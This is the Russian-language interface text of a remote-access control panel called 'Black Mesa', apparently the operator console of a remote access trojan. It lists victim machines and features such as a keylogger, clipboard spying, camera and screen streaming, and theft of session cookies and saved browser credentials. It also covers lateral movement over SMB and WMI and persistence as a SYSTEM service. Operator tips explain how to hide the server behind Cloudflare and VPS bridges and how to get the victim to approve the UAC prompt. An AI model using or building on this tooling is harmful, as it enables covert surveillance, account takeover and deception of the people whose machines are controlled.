Black Mesa
офлайн
Обзор Новых: 0 сегодня · 0 за неделю · 0 за месяц · подключений сегодня: 0
Появление новых клиентов за 30 дней
Клиенты
Статус
ПК
Пользователь
ОС
IP
Страна
Установка агента Команда для новой машины
Адрес: определяется…
Домены Агенты перебирают адреса по порядку: главный первым

Мосты VPS, через которые публикуются домены — IP этого сервера в DNS не попадает

Cloudflare

Токен проверяется перед сохранением: нерабочий токен лучше не хранить, иначе домены будут появляться в панели, а агенты не смогут подключиться.
Нужны права Zone:DNS:Edit и Zone:Zone:Read на нужные зоны. Домен должен быть уже добавлен в Cloudflare и переключён на его nameservers — зону панель не создаёт, это делается у регистратора.

Настройка при добавлении

Прокси включён: адрес сервера скрыт, но работают только порты 443 и 8443 — на других Cloudflare отвечает по DNS и отказывает в соединении, что выглядит как лежащий сервер.
Прокси выключен: работает любой порт, но настоящий адрес сервера виден в DNS.
Telegram Уведомления о новых клиентах
У @BotFather команда /newbot, затем скопировать токен.
Напиши боту сообщение, открой api.telegram.org/bot<TOKEN>/getUpdates и найди chat.id. У группы id отрицательный, и бота надо в неё добавить.
Клиент

Скачать в браузер

Загрузить на агент

Источник

снимок текущего экрана, без начала трансляции

Браузер без окна

не запущен
Клик, печать и колесо идут в страницу как настоящие события браузера. Окна на твоём столе нет — браузер работает без него.

Трансляция экрана

Открытые программы

Камера

Терминал

—
CPU
—
Память
—
Диск

Адаптеры

Прослушиваемые порты

Установленные соединения

Отключение доступно для записей реестра. Службы и задачи отключаются своими средствами — здесь они показаны для полноты картины.

Значения

Подразделы

Эти действия выполняются сразу на выбранной машине. Перезагрузка и выключение прервут её работу.
Изменение настроек применяется после перезагрузки машины. Требуются права администратора на агенте.
Состояние: проверяется…
Окно UAC не видно в трансляции. Оно рисуется на защищённом рабочем столе, куда агент не имеет доступа. Подтвердить должен человек за машиной — нажмите кнопку и попросите его нажать «Да» в окне, которое появится на его экране.

Одно подтверждение устанавливает службу, задачу загрузки и службу-страж. После этого агент запускается при загрузке от SYSTEM — до входа любого пользователя, — и больше не спросит.

Клавиатура

кейлоггер выключен
накопленных нажатий нет

Буфер обмена

слежка выключена
буфер пуст

Браузеры и хранилища

Сессии всех сайтов — куки, отфильтрованные по токенам авторизации (session, auth, token, jwt). Это то, чем можно войти в аккаунт без пароля.

Переход на другую машину

Нужны права администратора на целевой машине. Учётная запись проверяется по SMB, выполнение идёт через WMI.

Прокси (SOCKS5)

данные прокси загружаются при открытии раздела

Профили браузеров

Разбор закрывает браузер и читает куки, логины, историю, автозаполнение, загрузки, Wi-Fi и учётные данные. После разбора браузер открывается снова сам, на том же профиле; автозапуск можно выключить галочкой.
нажми «обновить», чтобы прочитать профили
—
Агент может скачать и установить перечисленное ниже прямо на машине. Установка с правами администратора вызовет запрос UAC на экране пользователя — это видно тому, кто сидит за машиной.
Виртуальная машина даёт отдельный компьютер внутри этого. Ты работаешь в ней, человек за клавиатурой продолжает работать в своей системе — они не мешают друг другу, потому что это разные машины.

Вывод